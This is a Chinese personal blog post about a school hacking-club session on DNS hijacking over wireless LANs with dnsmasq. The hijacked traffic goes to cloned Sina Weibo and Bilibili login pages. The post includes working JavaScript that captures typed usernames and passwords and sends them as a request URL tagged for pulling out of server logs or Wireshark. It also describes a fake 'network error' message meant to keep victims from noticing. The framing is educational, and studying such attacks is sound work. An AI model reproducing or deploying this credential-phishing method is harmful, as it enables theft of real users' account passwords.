拖延症害死人系列...本来是 4 月 13 号的社团活动,愣是拖到了今天才写记录.这次活动的内容可以说是上次的深入.我们探讨了如何在无线局域网中进行 DNS 劫持,并通过伪造的登陆页窃取密码的相关技术.

我使用的 Fedora 23 Workstation 已经预装了 Apache, 只需要在/var/www/html 中放入所需的网页文件即可.作为被伪造的对象,我选择了新浪微博的第三方登陆 API 和 Bilibili 的登陆页.此前考虑过 QQ 空间和百度贴吧的登陆页,因为存在一些奇怪的问题,遂放弃( QQ 空间的登陆表单是以 iframe 的形式嵌入的).说是伪造,其实并不是很复杂.先把页面下载下来,然后把页面中缺失的图像文件也一一下载到本地,再修改一点 CSS 使相关元素的background-image 属性指向本地即可.此外 B 站登陆页的验证码很神奇,其src 属性指向/captcha ,想必是靠 PHP 之类的语言动态生成验证码图像.显然我才没兴趣搞一个动态的验证码,直接静态化,在根目录下扔了个叫 captcha 的图片.当然其缺点是不管怎么刷新页面验证码都不会变,但我感觉估计不会被注意到.

完成后的伪造页面如下.(我感觉还是很逼真的tieba_smilies44)

fake-weibo fake-bilibili

此外,由于登陆页实际上实在我自己的电脑上,不可能实现真正的登录功能,为避免出现 404 之类的东西让被攻击者起疑心,这里有另一个技巧.点击登陆后用 JavaScript 告诉被攻击者网络存在问题,无法登陆.

fake-weibo_trick fake-bilibili_trick

(当时赶时间啊,微博那个就做得很粗糙.B 站那个借鉴了官方的 CSS, 感觉稍好点)

通过 JavaScript 获取到用户输入的密码后,必须以适当的方式发送出去(不然我怎么能得到).一种可能的思路是通过 XHR 将相关数据发送到我预先设定好的另一台服务器上(比如给 nota.moe/get-pwd.php 发送一个 HTTP GET 请求,服务器端再把这些数据存进数据库或以电子邮件的形式发给我).然而受制于 JavaScript 的同源策略,这种思路是不可能实现的(被 DNS 劫持以后,被攻击者所访问的站点的location.host 属性确实是 weibo.com 或 bilibili.com).这里就要用到另一个技巧,将得到的用户名和密码直接拼接到当前页面 URL 后作为 HTTP 请求的目标.显然,这样的访问绝对会失败,但我可以通过查看服务器日志或 Wireshark 抓包的方式得到请求的 URL, 继而得到密码.相关代码如下:

document.getElementById('passwdTxt').onblur = function(){
	var hack_log = userIdTxt.value;
	var hack_pwd = passwdTxt.value;
	var xhr = new XMLHttpRequest();
	xhr.open('get',location.href+'hack_success/'+hack_log+'/'+hack_pwd,false);
	xhr.send();
}

可以看到我还拼接了一个字符串'hack_success' , 这是另一个技巧.由于不论是服务器日志还是 Wireshark 抓包记录都非常冗长,在里面查找我需要的数据非常困难,因此在 URL 里放入这样一个标志,可以作为筛选的关键字使用.

所以最终的 URL 大概是这样: http://weibo.com/signup/hack_success/my_log/passw0rd .

此外就是 dnsmasq 的相关配置.关于使用 dnsmasq 建立 DNS 服务器的教程网上一搜一大把,我就不再赘述了,把要伪造的网站的域名全都指向本机的局域网 IP 就行.

大概就是这么操作的.(你看你看我写的技术向文章是不是专业多了?至少比上次那篇文章好吧)

4 月 13 日那天在进行实际的演示之前,我还专门讲了讲理论姿势.毕竟社团里小白太多,上次的那些内容好像大家都听得似懂非懂.所以这次就讲了 DHCP, DNS, 域名解析, HTTP 协议最基础最基础的知识,还有服务器配置,动态网页 3P (PHP, JSP, ASP) 和前端三件套 (HTML, CSS, JavaScript) 的一些常识.

所以我社最大的问题还是存在:社团活动时玩游戏的现象屡禁不止.感觉下一次得采纳老社长的建议了:拔网线.

这次社团活动的内容是受到了乌云上 http://zone.wooyun.org/content/2507 一文的启发,包括上述的在 URL 后面拼接用户名和密码的思路也来自于此.在此表示感谢.另外(众人皆知)这种攻击手段最开始时是拿来干嘛的,因此在讲解结束后我也作了一次死,讲了一下 Google 退出中国前夕发生的那些事情,顺便抨击某国的一些肮脏的行为.在此,对原文作者冒着查水表的风险把这些肮脏内幕全都揭露出来的勇气和精神表示敬意.我社既自称"探讨黑客技术",就应该知道黑客绝不是破坏互联网安全的那一类小人,真正的黑客(如同乌云上的大神们)应当是用自己技术来让互联网变得更自由,更美好.

以上.

另:我社网站已于本周迁移至腾讯云,速度提升非常感人.这两天一直都在折腾这个.服务器是 CentOS 7 系统,单核 CPU, 1GB 内存,位于上海(壕我一脸,不知道是谁出的钱).目前配置了 Apache, PHP 5.4, MariaDB, phpMyAdmin 等组件,并已完成站点大体内容的搭建,域名解析方面使用的是 CloudXNS. 对了我们的域名还没备案,不知道会不会 boomtieba_smilies50.

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注